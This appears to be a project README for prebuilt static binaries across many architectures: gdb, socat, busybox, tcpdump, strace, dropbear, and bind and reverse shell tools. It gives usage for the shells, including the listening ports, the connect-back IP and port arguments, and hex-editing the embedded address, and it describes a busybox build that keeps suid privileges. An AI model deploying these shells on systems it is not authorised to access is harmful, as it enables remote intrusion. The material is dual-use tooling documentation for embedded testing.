Prebuilt binaries for multiple architeture (arm, armeb, aarch64, aarch64_be, mips, mips1, mipsel, mipsel1, mips64, mips64el, powerpc, powerpc64, powerpc64le, riscv64, i586, x86_64)

All binaries are statically linked and stripped.

Please go to the Release page for downloads. *archName*_tools.zip contains tools’ binary (see Tools Section) for that specific arch, and allinone.zip contains all of it.

Or download single file directly from bin branch.

The source code and scripts can be found in the branch.

Buildroot

  • MIPS-I and MIPSEL-I are using buildroot 2014.11 because they remove support after that version.
  • Others are using buildroot 2019.11.1
  • ompiled toolchain can be found at action’s artifacts page (mips1/mipsel1 are file packages from output/host, others are from make sdk)

Tools

  • gdb (mips1/mips1el are using gdb 7.12.1, others are 8.3.1)
  • socat
  • Busybox (And busybox_nodrop is the one that replaces all BB_SUID_DROP with BB_SUID_MAYBE, which means it will not drop suid in applets.)
  • bind/reverse shell
  • bind/reverse shell.so library (barely tested)
  • tcpdump
  • strace
  • Dropbear(mips1/mips1el are not static link :( )
  • lsof

Bind/Reverse Shell binary

  • Run the bind shell without arguments like ./bind_shell will listen on port 3343 and ./bind_shell 6666 will listen on 6666.
  • Run the reverse shell binary without arguments will connect to 127.0.0.1:3343. One could use a hex editor to change the cstring, which contains the ip/port. or ./reverse_shell 1.1.1.1 12345 will connect to 1.1.1.1:12345; ./reverse_shell 1.1.1.1 will connect to 1.1.1.1:3343

gdb (Important)

  • gdbserver is compiled without libthread_db.
  • gdb need libthread_db.so.1 to support multithreaded debugging. If you run into SIGSEGV when r the program, run set libthread-db-search-path 0 in gdb first, then there will be warning about libthread_db.so.1, Just ignore it.

Github Actions

The config file for buildroot and github actions’ workflow file are in the src branch.